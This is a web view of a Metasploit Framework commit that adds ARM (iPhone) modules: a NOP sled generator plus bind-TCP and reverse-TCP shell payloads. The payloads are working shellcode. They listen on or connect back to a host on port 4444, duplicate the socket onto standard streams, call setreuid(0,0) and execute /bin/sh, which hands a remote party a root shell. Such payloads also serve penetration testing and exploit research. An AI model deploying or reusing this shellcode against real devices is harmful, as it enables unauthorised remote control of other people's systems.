nops and payloads for arm-darwin (aka iphone) :-)
git-svn-id: file:///home/svn/framework3/trunk@5110 4d416f70-5f16-0410-b530-b9f4589650daunstable
HD Moore
parent
8c844f96b0
commit
b6e1dc00f7
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
# $Id: simple.rb 4419 2007-02-18 00:10:39Z hdm $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
module Nops
|
||||
module Armle
|
||||
|
||||
###
|
||||
#
|
||||
# SingleByte
|
||||
# ----------
|
||||
#
|
||||
# This class implements simple NOP generator for ARM (little endian)
|
||||
#
|
||||
###
|
||||
class Simple < Msf::Nop
|
||||
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Simple',
|
||||
'Alias' => 'armle_simple',
|
||||
'Version' => '$Revision: 4419 $',
|
||||
'Description' => 'Simple NOP generator',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Arch' => ARCH_ARMLE)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def generate_sled(length, opts)
|
||||
|
||||
badchars = opts['BadChars'] || ''
|
||||
random = opts['Random'] || datastore['RandomNops']
|
||||
|
||||
nops = [
|
||||
0xe1a01001,
|
||||
0xe1a02002,
|
||||
0xe1a03003,
|
||||
0xe1a04004,
|
||||
0xe1a05005,
|
||||
0xe1a06006,
|
||||
0xe1a07007,
|
||||
0xe1a08008,
|
||||
0xe1a09009,
|
||||
0xe1a0a00a,
|
||||
0xe1a0b00b
|
||||
]
|
||||
|
||||
if( random and random.match(/^(t|y|1)/i) )
|
||||
return ([nops[rand(nops.length)]].pack("V*") * (length/4))
|
||||
end
|
||||
|
||||
return (nops[0].pack("V*") * (length/4))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end end
|
||||
|
|
@ -0,0 +1,123 @@
|
|||
##
|
||||
# $Id: shell_bind_tcp.rb 5033 2007-07-06 01:22:54Z ramon $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
|
||||
module Msf
|
||||
module Payloads
|
||||
module Singles
|
||||
module Osx
|
||||
module Armle
|
||||
|
||||
module ShellBindTcp
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Osx
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'OSX Command Shell, Bind TCP Inline',
|
||||
'Version' => '$Revision: 5033 $',
|
||||
'Description' => 'Listen for a connection and spawn a command shell',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 34, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
[
|
||||
# socket
|
||||
0xe3a00002, # mov r0, #0x2
|
||||
0xe3a01001, # mov r1, #0x1
|
||||
0xe3a02006, # mov r2, #0x6
|
||||
0xe3a0c061, # mov r12, #0x61
|
||||
0xef000080, # swi 128
|
||||
0xe1a0a000, # mov r10, r0
|
||||
0xeb000001, # bl _bind
|
||||
|
||||
# port 4444
|
||||
0x5c110200,
|
||||
0x00000000,
|
||||
|
||||
# bind
|
||||
0xe1a0000a, # mov r0, r10
|
||||
0xe1a0100e, # mov r1, lr
|
||||
0xe3a02010, # mov r2, #0x10
|
||||
0xe3a0c068, # mov r12, #0x68
|
||||
0xef000080, # swi 128
|
||||
|
||||
# listen
|
||||
0xe1a0000a, # mov r0, r10
|
||||
0xe3a01001, # mov r1, #0x1
|
||||
0xe3a0c06a, # mov r12, #0x6a
|
||||
0xef000080, # swi 128
|
||||
|
||||
# accept
|
||||
0xe3a0c01e, # mov r12, #0x1e
|
||||
0xe1a0000a, # mov r0, r10
|
||||
0xe3a01010, # mov r1, #0x10
|
||||
0xe50d1018, # str r1, [sp, #-24]
|
||||
0xe24d2010, # sub r2, sp, #0x10
|
||||
0xe24d3018, # sub r3, sp, #0x18
|
||||
0xef000080, # swi 128
|
||||
0xe1a0b000, # mov r11, r0
|
||||
|
||||
# setup dup2
|
||||
0xe3a05002, # mov r5, #0x2
|
||||
|
||||
# dup2
|
||||
0xe3a0c05a, # mov r12, #0x5a
|
||||
0xe1a0000b, # mov r0, r11
|
||||
0xe1a01005, # mov r1, r5
|
||||
0xef000080, # swi 128
|
||||
0xe2455001, # sub r5, r5, #0x1
|
||||
0xe3550000, # cmp r5, #0x0
|
||||
0xaafffff8, # bge _dup2
|
||||
|
||||
# setreuid(0,0)
|
||||
0xe3a00000, # mov r0, #0x0
|
||||
0xe3a01001, # mov r1, #0x1
|
||||
0xe3a0c07e, # mov r12, #0x7e
|
||||
0xef000080, # swi 128
|
||||
|
||||
# execve
|
||||
0xe0455005, # sub r5, r5, r5
|
||||
0xe1a0600d, # mov r6, sp
|
||||
0xe24dd020, # sub sp, sp, #0x20
|
||||
0xe28f0014, # add r0, pc, #0x14
|
||||
0xe4860000, # str r0, [r6], #0
|
||||
0xe5865004, # str r5, [r6, #4]
|
||||
0xe1a01006, # mov r1, r6
|
||||
0xe3a02000, # mov r2, #0x0
|
||||
0xe3a0c03b, # mov r12, #0x3b
|
||||
0xef000080, # swi 128
|
||||
|
||||
# /bin/sh
|
||||
0x6e69622f,
|
||||
0x0068732f
|
||||
].pack("V*")
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end end end end
|
||||
|
|
@ -0,0 +1,110 @@
|
|||
##
|
||||
# $Id: shell_reverse_tcp.rb 5033 2007-07-06 01:22:54Z ramon $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
|
||||
module Msf
|
||||
module Payloads
|
||||
module Singles
|
||||
module Osx
|
||||
module Armle
|
||||
|
||||
module ShellReverseTcp
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Osx
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'OSX Command Shell, Reverse TCP Inline',
|
||||
'Version' => '$Revision: 5033 $',
|
||||
'Description' => 'Connect back to attacker and spawn a command shell',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 34, 'n' ],
|
||||
'LHOST' => [ 36, 'ADDR' ],
|
||||
},
|
||||
'Payload' =>
|
||||
[
|
||||
# socket
|
||||
0xe3a00002, # mov r0, #0x2
|
||||
0xe3a01001, # mov r1, #0x1
|
||||
0xe3a02006, # mov r2, #0x6
|
||||
0xe3a0c061, # mov r12, #0x61
|
||||
0xef000080, # swi 128
|
||||
0xe1a0a000, # mov r10, r0
|
||||
0xeb000001, # bl _konnect
|
||||
|
||||
# port 4444
|
||||
0x5c110200,
|
||||
|
||||
# host 192.168.0.135
|
||||
0x8700a8c0,
|
||||
|
||||
# connect
|
||||
0xe1a0000a, # mov r0, r10
|
||||
0xe1a0100e, # mov r1, lr
|
||||
0xe3a02010, # mov r2, #0x10
|
||||
0xe3a0c062, # mov r12, #0x62
|
||||
0xef000080, # swi 128
|
||||
|
||||
# setup dup2
|
||||
0xe3a05002, # mov r5, #0x2
|
||||
|
||||
# dup2
|
||||
0xe3a0c05a, # mov r12, #0x5a
|
||||
0xe1a0000a, # mov r0, r10
|
||||
0xe1a01005, # mov r1, r5
|
||||
0xef000080, # swi 128
|
||||
0xe2455001, # sub r5, r5, #0x1
|
||||
0xe3550000, # cmp r5, #0x0
|
||||
0xaafffff8, # bge _dup2
|
||||
|
||||
# setreuid(0,0)
|
||||
0xe3a00000, # mov r0, #0x0
|
||||
0xe3a01001, # mov r1, #0x1
|
||||
0xe3a0c07e, # mov r12, #0x7e
|
||||
0xef000080, # swi 128
|
||||
|
||||
# execve
|
||||
0xe0455005, # sub r5, r5, r5
|
||||
0xe1a0600d, # mov r6, sp
|
||||
0xe24dd020, # sub sp, sp, #0x20
|
||||
0xe28f0014, # add r0, pc, #0x14
|
||||
0xe4860000, # str r0, [r6], #0
|
||||
0xe5865004, # str r5, [r6, #4]
|
||||
0xe1a01006, # mov r1, r6
|
||||
0xe3a02000, # mov r2, #0x0
|
||||
0xe3a0c03b, # mov r12, #0x3b
|
||||
0xef000080, # swi 128
|
||||
|
||||
# /bin/sh
|
||||
0x6e69622f,
|
||||
0x0068732f
|
||||
].pack("V*")
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end end end end
|
||||
Loading…
Reference in New Issue